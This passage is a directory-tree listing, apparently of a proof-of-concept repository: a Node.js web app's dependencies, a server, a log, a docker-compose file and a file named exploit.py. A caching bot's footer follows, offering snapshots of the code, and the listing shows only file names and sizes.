[2.0K] setOptionError.js │   │   │   │   │   ├── [ 683] strict.js │   │   │   │   │   ├── [ 659] strictPopulate.js │   │   │   │   │   ├── [ 512] syncIndexes.js │   │   │   │   │   ├── [2.1K] validation.js │   │   │   │   │   ├── [2.0K] validator.js │   │   │   │   │   └── [ 784] version.js │   │   │   │   ├── [4.0K] helpers │   │   │   │   │   ├── [4.0K] aggregate │   │   │   │   │   │   ├── [1.8K] prepareDiscriminatorPipeline.js │   │   │   │   │   │   └── [1.4K] stringifyFunctionOperators.js │   │   │   │   │   ├── [ 766] arrayDepth.js │   │   │   │   │   ├── [5.2K] clone.js │   │   │   │   │   ├── [3.0K] common.js │   │   │   │   │   ├── [4.0K] cursor │   │   │   │   │   │   └── [6.5K] eachAsync.js │   │   │   │   │   ├── [4.0K] discriminator │   │   │   │   │   │   ├── [1.1K] applyEmbeddedDiscriminators.js │   │   │   │   │   │   ├── [ 412] areDiscriminatorValuesEqual.js │   │   │   │   │   │   ├── [ 512] checkEmbeddedDiscriminatorKeyProjection.js │   │   │   │   │   │   ├── [ 939] getConstructor.js │   │   │   │   │   │   ├── [ 653] getDiscriminatorByValue.js │   │   │   │   │   │   ├── [ 735] getSchemaDiscriminatorByValue.js │   │   │   │   │   │   └── [2.4K] mergeDiscriminatorSchema.js │   │   │   │   │   ├── [4.0K] document │   │   │   │   │   │   ├── [3.4K] applyDefaults.js │   │   │   │   │   │   ├── [ 842] cleanModifiedSubpaths.js │   │   │   │   │   │   ├── [6.6K] compile.js │   │   │   │   │   │   ├── [1.0K] getDeepestSubdocumentForPath.js │   │   │   │   │   │   ├── [1.8K] getEmbeddedDiscriminatorPath.js │   │   │   │   │   │   └── [ 847] handleSpreadDoc.js │   │   │   │   │   ├── [ 419] each.js │   │   │   │   │   ├── [4.0K] error │   │   │   │   │   │   └── [ 386] combinePathErrors.js │   │   │   │   │   ├── [ 132] firstKey.js │   │   │   │   │   ├── [ 334] getConstructorName.js │   │   │   │   │   ├── [ 502] getDefaultBulkwriteResult.js │   │   │   │   │   ├── [ 188] getFunctionName.js │   │   │   │   │   ├── [1.2K] get.js │   │   │   │   │   ├── [ 498] immediate.js │   │   │   │   │   ├── [4.0K] indexes │   │   │   │   │   │   ├── [ 357] applySchemaCollation.js │   │   │   │   │   │   ├── [ 668] decorateDiscriminatorIndexOptions.js │   │   │   │   │   │   ├── [1.8K] getRelatedIndexes.js │   │   │   │   │   │   ├── [ 444] isDefaultIdIndex.js │   │   │   │   │   │   ├── [2.9K] isIndexEqual.js │   │   │   │   │   │   └── [ 314] isTextIndex.js │   │   │   │   │   ├── [ 176] isAsyncFunction.js │   │   │   │   │   ├── [ 242] isBsonType.js │   │   │   │   │   ├── [ 550] isMongooseObject.js │   │   │   │   │   ├── [ 299] isObject.js │   │   │   │   │   ├── [ 433] isPOJO.js │   │   │   │   │   ├── [ 179] isPromise.js │   │   │   │   │   ├── [ 454] isSimpleValidator.js │   │   │   │   │   ├── [ 636] minimize.js │   │   │   │   │   ├── [4.0K] model │   │   │   │   │   │   ├── [1.4K] applyDefaultsToPOJO.js │   │   │   │   │   │   ├── [4.4K] applyHooks.js │   │   │   │   │   │   ├── [2.2K] applyMethods.js │   │   │   │   │   │   ├── [2.3K] applyStaticHooks.js │   │   │   │   │   │   ├── [ 257] applyStatics.js │   │   │   │   │   │   ├── [9.8K] castBulkWrite.js │   │   │   │   │   │   ├── [6.9K] discriminator.js │   │   │   │   │   │   └── [ 353] pushNestedArrayPaths.js │   │   │   │   │   ├── [ 405] omitUndefined.js │   │   │   │   │   ├── [ 199] once.js │   │   │   │   │   ├── [ 980] parallelLimit.js │   │   │   │   │   ├── [4.0K] path │   │   │   │   │   │   ├── [ 385] parentPaths.js │   │   │   │   │   │   └── [ 585] setDottedPath.js │   │   │   │   │   ├── [1.7K] pluralize.js │   │   │   │   │   ├── [4.0K] populate │   │   │   │   │   │   ├── [3.7K] assignRawDocsToIdStructure.js │   │   │   │   │   │   ├── [ 11K] assignVals.js │   │   │   │   │   │   ├── [3.1K] createPopulateQueryFilter.js │   │   │   │   │   │   ├── [ 24K] getModelsMapForPopulate.js │   │   │   │   │   │   ├── [7.8K] getSchemaTypes.js │   │   │   │   │   │   ├── [1.9K] getVirtual.js │   │   │   │   │   │   ├── [ 66] leanPopulateMap.js │   │   │   │   │   │   ├── [ 720] lookupLocalFields.js │   │   │   │   │   │   ├── [1.2K] markArraySubdocsPopulated.js │   │   │   │   │   │   ├── [2.4K] modelNamesFromRefPath.js │   │   │   │   │   │   ├── [ 744] removeDeselectedForeignField.js │   │   │   │   │   │   ├── [1.0K] setPopulatedVirtualValue.js │   │   │   │   │   │   ├── [ 192] skipPopulateValue.js │   │   │   │   │   │   └── [ 384] validateRef.js │   │   │   │   │   ├── [ 949] printJestWarning.js │   │   │   │   │   ├── [1.9K] processConnectionOptions.js │   │   │   │   │   ├── [4.0K] projection │   │   │   │   │   │   ├── [2.9K] applyProjection.js │   │   │   │   │   │   ├── [ 854] hasIncludedChildren.js │   │   │   │   │   │   ├── [ 435] isDefiningProjection.js │   │   │   │   │   │   ├── [ 822] isExclusive.js │   │   │   │   │   │   ├── [ 937] isInclusive.js │   │   │   │   │   │   ├── [ 233] isNestedProjection.js │   │   │   │   │   │   ├── [ 798] isPathExcluded.js │   │   │   │   │   │   ├── [ 566] isPathSelectedInclusive.js │   │   │   │   │   │   ├── [ 289] isSubpath.js │   │   │   │   │   │   └── [ 686] parseProjection.js │   │   │   │   │   ├── [1.5K] promiseOrCallback.js │   │   │   │   │   ├── [4.0K] query │   │   │   │   │   │   ├── [ 837] applyGlobalOption.js │   │   │   │   │   │   ├── [7.3K] cast$expr.js │   │   │   │   │   │   ├── [1.1K] castFilterPath.js │   │   │   │   │   │   ├── [ 16K] castUpdate.js │   │   │   │   │   │   ├── [3.2K] getEmbeddedDiscriminatorPath.js │   │   │   │   │   │   ├── [ 661] handleImmutable.js │   │   │   │   │   │   ├── [ 397] handleReadPreferenceAliases.js │   │   │   │   │   │   ├── [ 328] hasDollarKeys.js │   │   │   │   │   │   ├── [ 191] isOperator.js │   │   │   │   │   │   ├── [ 869] sanitizeFilter.js │   │   │   │   │   │   ├── [ 296] sanitizeProjection.js │   │   │   │   │   │   ├── [1.6K] selectPopulatedFields.js │   │   │   │   │   │   ├── [ 268] trusted.js │   │   │   │   │   │   └── [ 85] validOps.js │   │   │   │   │   ├── [4.0K] schema │   │   │   │   │   │   ├── [ 173] addAutoId.js │   │   │   │   │   │   ├── [ 359] applyBuiltinPlugins.js │   │   │   │   │   │   ├── [1.5K] applyPlugins.js │   │   │   │   │   │   ├── [ 619] applyReadConcern.js │   │   │   │   │   │   ├── [1.3K] applyWriteConcern.js │   │   │   │   │   │   ├── [ 331] cleanPositionalOperators.js │   │   │   │   │   │   ├── [5.3K] getIndexes.js │   │   │   │   │   │   ├── [ 621] getKeysInSchemaOrder.js │   │   │   │   │   │   ├── [ 849] getPath.js │   │   │   │   │   │   ├── [1012] getSubdocumentStrictValue.js │   │   │   │   │   │   ├── [ 413] handleIdOption.js │   │   │   │   │   │   ├── [ 364] handleTimestampOption.js │   │   │   │   │   │   ├── [ 590] idGetter.js │   │   │   │   │   │   └── [ 966] merge.js │   │   │   │   │   ├── [4.0K] schematype │   │   │   │   │   │   └── [1.3K] handleImmutable.js │   │   │   │   │   ├── [3.2K] setDefaultsOnInsert.js │   │   │   │   │   ├── [ 84] specialProperties.js │   │   │   │   │   ├── [1.1K] symbols.js │   │   │   │   │   ├── [ 48] timers.js │   │   │   │   │   ├── [4.0K] timestamps │   │   │   │   │   │   ├── [ 894] setDocumentTimestamps.js │   │   │   │   │   │   └── [3.4K] setupTimestamps.js │   │   │   │   │   ├── [4.0K] topology │   │   │   │   │   │   ├── [ 396] allServersUnknown.js │   │   │   │   │   │   ├── [ 748] isAtlas.js │   │   │   │   │   │   └── [ 559] isSSLError.js │   │   │   │   │   ├── [4.0K] update │   │   │   │   │   │   ├── [5.8K] applyTimestampsToChildren.js │   │   │   │   │   │   ├── [3.2K] applyTimestampsToUpdate.js │   │   │   │   │   │   ├── [4.1K] castArrayFilters.js │   │   │   │   │   │   ├── [ 597] decorateUpdateWithVersionKey.js │   │   │   │   │   │   ├── [ 845] modifiedPaths.js │   │   │   │   │   │   ├── [1.2K] moveImmutableProperties.js │   │   │   │   │   │   ├── [1.1K] removeUnusedArrayFilters.js │   │   │   │   │   │   └── [ 775] updatedPathsByArrayFilter.js │   │   │   │   │   └── [7.3K] updateValidators.js │   │   │   │   ├── [ 315] index.js │   │   │   │   ├── [1.6K] internal.js │   │   │   │   ├── [172K] model.js │   │   │   │   ├── [ 229] modifiedPathsSnapshot.js │   │   │   │   ├── [ 51K] mongoose.js │   │   │   │   ├── [4.0K] options │   │   │   │   │   ├── [ 829] populateOptions.js │   │   │   │   │   ├── [ 128] propertyOptions.js │   │   │   │   │   ├── [ 217] saveOptions.js │   │   │   │   │   ├── [2.0K] schemaArrayOptions.js │   │   │   │   │   ├── [ 747] schemaBufferOptions.js │   │   │   │   │   ├── [1.5K] schemaDateOptions.js │   │   │   │   │   ├── [1.7K] schemaDocumentArrayOptions.js │   │   │   │   │   ├── [1.1K] schemaMapOptions.js │   │   │   │   │   ├── [2.1K] schemaNumberOptions.js │   │   │   │   │   ├── [1.4K] schemaObjectIdOptions.js │   │   │   │   │   ├── [3.5K] schemaStringOptions.js │   │   │   │   │   ├── [1.0K] schemaSubdocumentOptions.js │   │   │   │   │   ├── [5.9K] schemaTypeOptions.js │   │   │   │   │   └── [3.6K] virtualOptions.js │   │   │   │   ├── [ 252] options.js │   │   │   │   ├── [4.0K] plugins │   │   │   │   │   ├── [ 225] index.js │   │   │   │   │   ├── [2.3K] saveSubdocs.js │   │   │   │   │   ├── [1.7K] sharding.js │   │   │   │   │   ├── [2.9K] trackTransaction.js │   │   │   │   │   └── [1.3K] validateBeforeSave.js │   │   │   │   ├── [ 12K] queryHelpers.js │   │   │   │   ├── [167K] query.js │   │   │   │   ├── [4.0K] schema │   │   │   │   │   ├── [ 18K] array.js │   │   │   │   │   ├── [4.6K] bigint.js │   │   │   │   │   ├── [6.2K] boolean.js │   │   │   │   │   ├── [7.2K] buffer.js │   │   │   │   │   ├── [ 11K] date.js │   │   │   │   │   ├── [4.8K] decimal128.js │   │   │   │   │   ├── [2.4K] documentArrayElement.js │   │   │   │   │   ├── [ 19K] documentArray.js │   │   │   │   │   ├── [ 758] index.js │   │   │   │   │   ├── [1.8K] map.js │   │   │   │   │   ├── [2.7K] mixed.js │   │   │   │   │   ├── [ 11K] number.js │   │   │   │   │   ├── [6.8K] objectId.js │   │   │   │   │   ├── [4.0K] operators │   │   │   │   │   │   ├── [ 622] bitwise.js │   │   │   │   │   │   ├── [ 203] exists.js │   │   │   │   │   │   ├── [2.3K] geospatial.js │   │   │   │   │   │   ├── [ 493] helpers.js │   │   │   │   │   │   ├── [1.1K] text.js │   │   │   │   │   │   └── [ 447] type.js │   │   │   │   │   ├── [ 19K] string.js │   │   │   │   │   ├── [ 11K] subdocument.js │   │   │   │   │   ├── [ 153] symbols.js │   │   │   │   │   └── [8.2K] uuid.js │   │   │   │   ├── [ 89K] schema.js │   │   │   │   ├── [ 50K] schemaType.js │   │   │   │   ├── [5.5K] stateMachine.js │   │   │   │   ├── [4.0K] types │   │   │   │   │   ├── [4.0K] array │   │   │   │   │   │   ├── [3.6K] index.js │   │   │   │   │   │   ├── [ 142] isMongooseArray.js │   │   │   │   │   │   └── [4.0K] methods │   │   │   │   │   │   └── [ 28K] index.js │   │   │   │   │   ├── [4.7K] arraySubdocument.js │   │   │   │   │   ├── [5.9K] buffer.js │   │   │   │   │   ├── [ 212] decimal128.js │   │   │   │   │   ├── [4.0K] documentArray │   │   │   │   │   │   ├── [3.5K] index.js │   │   │   │   │   │   ├── [ 182] isMongooseDocumentArray.js │   │   │   │   │   │   └── [4.0K] methods │   │   │   │   │   │   └── [ 10K] index.js │   │   │   │   │   ├── [ 460] index.js │   │   │   │   │   ├── [8.8K] map.js │   │   │   │   │   ├── [ 799] objectid.js │   │   │   │   │   ├── [9.7K] subdocument.js │   │   │   │   │   └── [ 180] uuid.js │   │   │   │   ├── [ 22K] utils.js │   │   │   │   ├── [ 725] validOptions.js │   │   │   │   └── [6.4K] virtualType.js │   │   │   ├── [1.1K] LICENSE.md │   │   │   ├── [4.0K] node_modules │   │   │   │   └── [4.0K] ms │   │   │   │   ├── [3.0K] index.js │   │   │   │   ├── [1.1K] license.md │   │   │   │   ├── [ 732] package.json │   │   │   │   └── [1.8K] readme.md │   │   │   ├── [5.9K] package.json │   │   │   ├── [ 13K] README.md │   │   │   ├── [ 125] SECURITY.md │   │   │   └── [4.0K] types │   │   │   ├── [6.5K] aggregate.d.ts │   │   │   ├── [ 263] augmentations.d.ts │   │   │   ├── [ 288] callback.d.ts │   │   │   ├── [1.5K] collection.d.ts │   │   │   ├── [9.9K] connection.d.ts │   │   │   ├── [2.0K] cursor.d.ts │   │   │   ├── [ 12K] document.d.ts │   │   │   ├── [3.3K] error.d.ts │   │   │   ├── [111K] expressions.d.ts │   │   │   ├── [1.2K] helpers.d.ts │   │   │   ├── [ 35K] index.d.ts │   │   │   ├── [3.3K] indexes.d.ts │   │   │   ├── [7.3K] inferrawdoctype.d.ts │   │   │   ├── [ 15K] inferschematype.d.ts │   │   │   ├── [2.5K] middlewares.d.ts │   │   │   ├── [ 36K] models.d.ts │   │   │   ├── [6.9K] mongooseoptions.d.ts │   │   │   ├── [ 12K] pipelinestage.d.ts │   │   │   ├── [1.6K] populate.d.ts │   │   │   ├── [ 33K] query.d.ts │   │   │   ├── [ 11K] schemaoptions.d.ts │   │   │   ├── [ 20K] schematypes.d.ts │   │   │   ├── [1.3K] session.d.ts │   │   │   ├── [3.7K] types.d.ts │   │   │   ├── [3.4K] utility.d.ts │   │   │   ├── [ 935] validation.d.ts │   │   │   └── [ 960] virtuals.d.ts │   │   ├── [4.0K] mpath │   │   │   ├── [2.3K] History.md │   │   │   ├── [ 60] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [8.6K] index.js │   │   │   │   └── [1.4K] stringToParts.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [3.0K] package.json │   │   │   ├── [6.8K] README.md │   │   │   ├── [ 256] SECURITY.md │   │   │   └── [4.0K] test │   │   │   ├── [ 62K] index.js │   │   │   └── [1.0K] stringToParts.js │   │   ├── [4.0K] mquery │   │   │   ├── [ 11K] History.md │   │   │   ├── [4.0K] lib │   │   │   │   ├── [4.0K] collection │   │   │   │   │   ├── [ 790] collection.js │   │   │   │   │   ├── [ 249] index.js │   │   │   │   │   └── [2.2K] node.js │   │   │   │   ├── [ 662] env.js │   │   │   │   ├── [ 66K] mquery.js │   │   │   │   ├── [1.4K] permissions.js │   │   │   │   └── [6.0K] utils.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [4.0K] node_modules │   │   │   │   ├── [4.0K] debug │   │   │   │   │   ├── [1.1K] LICENSE │   │   │   │   │   ├── [1.4K] package.json │   │   │   │   │   ├── [ 22K] README.md │   │   │   │   │   └── [4.0K] src │   │   │   │   │   ├── [6.0K] browser.js │   │   │   │   │   ├── [6.8K] common.js │   │   │   │   │   ├── [ 314] index.js │   │   │   │   │   └── [4.6K] node.js │   │   │   │   └── [4.0K] ms │   │   │   │   ├── [3.0K] index.js │   │   │   │   ├── [1.1K] license.md │   │   │   │   ├── [ 732] package.json │   │   │   │   └── [1.8K] readme.md │   │   │   ├── [ 856] package.json │   │   │   ├── [ 33K] README.md │   │   │   └── [ 125] SECURITY.md │   │   ├── [4.0K] ms │   │   │   ├── [2.7K] index.js │   │   │   ├── [1.1K] license.md │   │   │   ├── [ 704] package.json │   │   │   └── [1.7K] readme.md │   │   ├── [4.0K] negotiator │   │   │   ├── [2.4K] HISTORY.md │   │   │   ├── [2.4K] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [3.0K] charset.js │   │   │   │   ├── [3.4K] encoding.js │   │   │   │   ├── [3.3K] language.js │   │   │   │   └── [5.2K] mediaType.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 993] package.json │   │   │   └── [4.8K] README.md │   │   ├── [4.0K] object-inspect │   │   │   ├── [ 36K] CHANGELOG.md │   │   │   ├── [4.0K] example │   │   │   │   ├── [ 391] all.js │   │   │   │   ├── [ 116] circular.js │   │   │   │   ├── [ 126] fn.js │   │   │   │   └── [ 251] inspect.js │   │   │   ├── [ 19K] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.8K] package.json │   │   │   ├── [ 365] package-support.json │   │   │   ├── [2.9K] readme.markdown │   │   │   ├── [4.0K] test │   │   │   │   ├── [2.0K] bigint.js │   │   │   │   ├── [4.0K] browser │   │   │   │   │   └── [ 416] dom.js │   │   │   │   ├── [ 451] circular.js │   │   │   │   ├── [ 400] deep.js │   │   │   │   ├── [1.5K] element.js │   │   │   │   ├── [1.5K] err.js │   │   │   │   ├── [ 683] fakes.js │   │   │   │   ├── [2.2K] fn.js │   │   │   │   ├── [ 372] global.js │   │   │   │   ├── [ 514] has.js │   │   │   │   ├── [ 255] holes.js │   │   │   │   ├── [6.5K] indent-option.js │   │   │   │   ├── [4.8K] inspect.js │   │   │   │   ├── [ 268] lowbyte.js │   │   │   │   ├── [2.3K] number.js │   │   │   │   ├── [1.5K] quoteStyle.js │   │   │   │   ├── [1.5K] toStringTag.js │   │   │   │   ├── [ 302] undef.js │   │   │   │   └── [8.2K] values.js │   │   │   ├── [ 534] test-core-js.js │   │   │   └── [ 42] util.inspect.js │   │   ├── [4.0K] on-finished │   │   │   ├── [1.8K] HISTORY.md │   │   │   ├── [4.3K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.0K] package.json │   │   │   └── [5.0K] README.md │   │   ├── [4.0K] parseurl │   │   │   ├── [1.0K] HISTORY.md │   │   │   ├── [2.7K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   └── [4.0K] README.md │   │   ├── [4.0K] path-to-regexp │   │   │   ├── [3.7K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 554] package.json │   │   │   └── [1.1K] Readme.md │   │   ├── [4.0K] picocolors │   │   │   ├── [ 787] LICENSE │   │   │   ├── [ 552] package.json │   │   │   ├── [ 598] picocolors.browser.js │   │   │   ├── [ 138] picocolors.d.ts │   │   │   ├── [2.6K] picocolors.js │   │   │   ├── [ 622] README.md │   │   │   └── [1013] types.d.ts │   │   ├── [4.0K] proxy-addr │   │   │   ├── [2.9K] HISTORY.md │   │   │   ├── [5.9K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   └── [4.0K] README.md │   │   ├── [4.0K] punycode │   │   │   ├── [1.1K] LICENSE-MIT.txt │   │   │   ├── [1.2K] package.json │   │   │   ├── [ 12K] punycode.es6.js │   │   │   ├── [ 12K] punycode.js │   │   │   └── [5.6K] README.md │   │   ├── [4.0K] qs │   │   │   ├── [ 31K] CHANGELOG.md │   │   │   ├── [4.0K] dist │   │   │   │   └── [ 46K] qs.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [ 476] formats.js │   │   │   │   ├── [ 211] index.js │   │   │   │   ├── [ 11K] parse.js │   │   │   │   ├── [ 11K] stringify.js │   │   │   │   └── [7.1K] utils.js │   │   │   ├── [1.6K] LICENSE.md │   │   │   ├── [3.0K] package.json │   │   │   ├── [ 24K] README.md │   │   │   └── [4.0K] test │   │   │   ├── [7.5K] empty-keys-cases.js │   │   │   ├── [ 46K] parse.js │   │   │   ├── [ 52K] stringify.js │   │   │   └── [5.0K] utils.js │   │   ├── [4.0K] range-parser │   │   │   ├── [ 917] HISTORY.md │   │   │   ├── [2.8K] index.js │   │   │   ├── [1.2K] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   └── [2.2K] README.md │   │   ├── [4.0K] raw-body │   │   │   ├── [5.9K] HISTORY.md │   │   │   ├── [2.2K] index.d.ts │   │   │   ├── [7.0K] index.js │   │   │   ├── [1.2K] LICENSE │   │   │   ├── [1.3K] package.json │   │   │   ├── [6.4K] README.md │   │   │   └── [1.2K] SECURITY.md │   │   ├── [4.0K] safe-buffer │   │   │   ├── [8.5K] index.d.ts │   │   │   ├── [1.6K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.0K] package.json │   │   │   └── [ 19K] README.md │   │   ├── [4.0K] safer-buffer │   │   │   ├── [1.4K] dangerous.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 822] package.json │   │   │   ├── [ 12K] Porting-Buffer.md │   │   │   ├── [8.1K] Readme.md │   │   │   ├── [2.1K] safer.js │   │   │   └── [ 15K] tests.js │   │   ├── [4.0K] send │   │   │   ├── [ 13K] HISTORY.md │   │   │   ├── [ 23K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [4.0K] node_modules │   │   │   │   ├── [4.0K] encodeurl │   │   │   │   │   ├── [ 238] HISTORY.md │   │   │   │   │   ├── [1.5K] index.js │   │   │   │   │   ├── [1.1K] LICENSE │   │   │   │   │   ├── [1.1K] package.json │   │   │   │   │   └── [3.8K] README.md │   │   │   │   └── [4.0K] ms │   │   │   │   ├── [3.0K] index.js │   │   │   │   ├── [1.1K] license.md │   │   │   │   ├── [ 732] package.json │   │   │   │   └── [1.8K] readme.md │   │   │   ├── [1.5K] package.json │   │   │   ├── [9.3K] README.md │   │   │   └── [1.1K] SECURITY.md │   │   ├── [4.0K] serve-static │   │   │   ├── [ 11K] HISTORY.md │   │   │   ├── [4.4K] index.js │   │   │   ├── [1.2K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [7.6K] README.md │   │   ├── [4.0K] setprototypeof │   │   │   ├── [ 93] index.d.ts │   │   │   ├── [ 407] index.js │   │   │   ├── [ 727] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   ├── [ 844] README.md │   │   │   └── [4.0K] test │   │   │   └── [ 690] index.js │   │   ├── [4.0K] side-channel │   │   │   ├── [ 10K] CHANGELOG.md │   │   │   ├── [ 486] index.d.ts │   │   │   ├── [1.2K] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.3K] package.json │   │   │   ├── [2.1K] README.md │   │   │   ├── [4.0K] test │   │   │   │   └── [2.5K] index.js │   │   │   └── [ 116] tsconfig.json │   │   ├── [4.0K] side-channel-list │   │   │   ├── [ 818] CHANGELOG.md │   │   │   ├── [ 335] index.d.ts │   │   │   ├── [3.3K] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [ 721] list.d.ts │   │   │   ├── [2.2K] package.json │   │   │   ├── [2.2K] README.md │   │   │   ├── [4.0K] test │   │   │   │   └── [2.6K] index.js │   │   │   └── [ 116] tsconfig.json │   │   ├── [4.0K] side-channel-map │   │   │   ├── [1.2K] CHANGELOG.md │   │   │   ├── [ 367] index.d.ts │   │   │   ├── [1.9K] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.3K] package.json │   │   │   ├── [2.2K] README.md │   │   │   ├── [4.0K] test │   │   │   │   └── [2.8K] index.js │   │   │   └── [ 116] tsconfig.json │   │   ├── [4.0K] side-channel-weakmap │   │   │   ├── [1.4K] CHANGELOG.md │   │   │   ├── [ 382] index.d.ts │   │   │   ├── [2.6K] index.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.4K] package.json │   │   │   ├── [2.3K] README.md │   │   │   ├── [4.0K] test │   │   │   │   └── [2.9K] index.js │   │   │   └── [ 116] tsconfig.json │   │   ├── [4.0K] sift │   │   │   ├── [4.0K] es │   │   │   │   ├── [ 21K] index.js │   │   │   │   └── [ 22K] index.js.map │   │   │   ├── [4.0K] es5m │   │   │   │   ├── [ 27K] index.js │   │   │   │   └── [ 46K] index.js.map │   │   │   ├── [ 71] index.d.ts │   │   │   ├── [ 97] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [4.9K] core.d.ts │   │   │   │   ├── [ 956] index.d.ts │   │   │   │   ├── [ 31K] index.js │   │   │   │   ├── [ 46K] index.js.map │   │   │   │   ├── [4.4K] operations.d.ts │   │   │   │   └── [ 678] utils.d.ts │   │   │   ├── [1.0K] MIT-LICENSE.txt │   │   │   ├── [1.5K] package.json │   │   │   ├── [9.8K] README.md │   │   │   ├── [ 31K] sift.csp.min.js │   │   │   ├── [ 46K] sift.csp.min.js.map │   │   │   ├── [ 11K] sift.min.js │   │   │   ├── [ 34K] sift.min.js.map │   │   │   └── [4.0K] src │   │   │   ├── [ 11K] core.ts │   │   │   ├── [1.2K] index.ts │   │   │   ├── [ 10K] operations.ts │   │   │   └── [1.9K] utils.ts │   │   ├── [4.0K] sparse-bitfield │   │   │   ├── [2.2K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 732] package.json │   │   │   ├── [1.7K] README.md │   │   │   └── [1.9K] test.js │   │   ├── [4.0K] statuses │   │   │   ├── [1.7K] codes.json │   │   │   ├── [1.5K] HISTORY.md │   │   │   ├── [2.5K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.4K] package.json │   │   │   └── [3.5K] README.md │   │   ├── [4.0K] toidentifier │   │   │   ├── [ 128] HISTORY.md │   │   │   ├── [ 504] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [1.8K] README.md │   │   ├── [4.0K] tr46 │   │   │   ├── [8.4K] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [138K] mappingTable.json │   │   │   │   ├── [ 70K] regexes.js │   │   │   │   └── [ 123] statusMapping.js │   │   │   ├── [1.1K] LICENSE.md │   │   │   ├── [1009] package.json │   │   │   └── [2.1K] README.md │   │   ├── [4.0K] type-is │   │   │   ├── [5.3K] HISTORY.md │   │   │   ├── [5.4K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [5.1K] README.md │   │   ├── [4.0K] @types │   │   │   ├── [4.0K] webidl-conversions │   │   │   │   ├── [4.0K] index.d.ts │   │   │   │   ├── [1.1K] LICENSE │   │   │   │   ├── [ 985] package.json │   │   │   │   └── [ 565] README.md │   │   │   └── [4.0K] whatwg-url │   │   │   ├── [4.8K] index.d.ts │   │   │   ├── [4.0K] lib │   │   │   │   ├── [2.2K] URL.d.ts │   │   │   │   ├── [ 590] URL-impl.d.ts │   │   │   │   ├── [3.3K] URLSearchParams.d.ts │   │   │   │   └── [ 706] URLSearchParams-impl.d.ts │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   ├── [ 656] README.md │   │   │   └── [ 126] webidl2js-wrapper.d.ts │   │   ├── [4.0K] unpipe │   │   │   ├── [ 59] HISTORY.md │   │   │   ├── [1.1K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 770] package.json │   │   │   └── [1.2K] README.md │   │   ├── [4.0K] utils-merge │   │   │   ├── [ 381] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 857] package.json │   │   │   └── [1.3K] README.md │   │   ├── [4.0K] vary │   │   │   ├── [ 792] HISTORY.md │   │   │   ├── [2.9K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.2K] package.json │   │   │   └── [2.7K] README.md │   │   ├── [4.0K] webidl-conversions │   │   │   ├── [4.0K] lib │   │   │   │   └── [ 12K] index.js │   │   │   ├── [1.3K] LICENSE.md │   │   │   ├── [ 982] package.json │   │   │   └── [9.0K] README.md │   │   └── [4.0K] whatwg-url │   │   ├── [1.2K] index.js │   │   ├── [4.0K] lib │   │   │   ├── [ 328] encoding.js │   │   │   ├── [1.2K] Function.js │   │   │   ├── [ 518] infra.js │   │   │   ├── [4.8K] percent-encoding.js │   │   │   ├── [2.2K] urlencoded.js │   │   │   ├── [5.0K] URL-impl.js │   │   │   ├── [ 15K] URL.js │   │   │   ├── [2.9K] URLSearchParams-impl.js │   │   │   ├── [ 17K] URLSearchParams.js │   │   │   ├── [ 31K] url-state-machine.js │   │   │   ├── [5.3K] utils.js │   │   │   └── [ 728] VoidFunction.js │   │   ├── [1.1K] LICENSE.txt │   │   ├── [1.3K] package.json │   │   ├── [6.9K] README.md │   │   └── [ 170] webidl2js-wrapper.js │   ├── [ 173] package.json │   ├── [ 38K] package-lock.json │   ├── [3.0K] server.js │   ├── [139K] server.log │   └── [4.0K] views │   └── [ 414] index.ejs ├── [ 372] docker-compose.yml ├── [ 18K] exploit.py └── [3.1K] README.md 248 directories, 1682 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.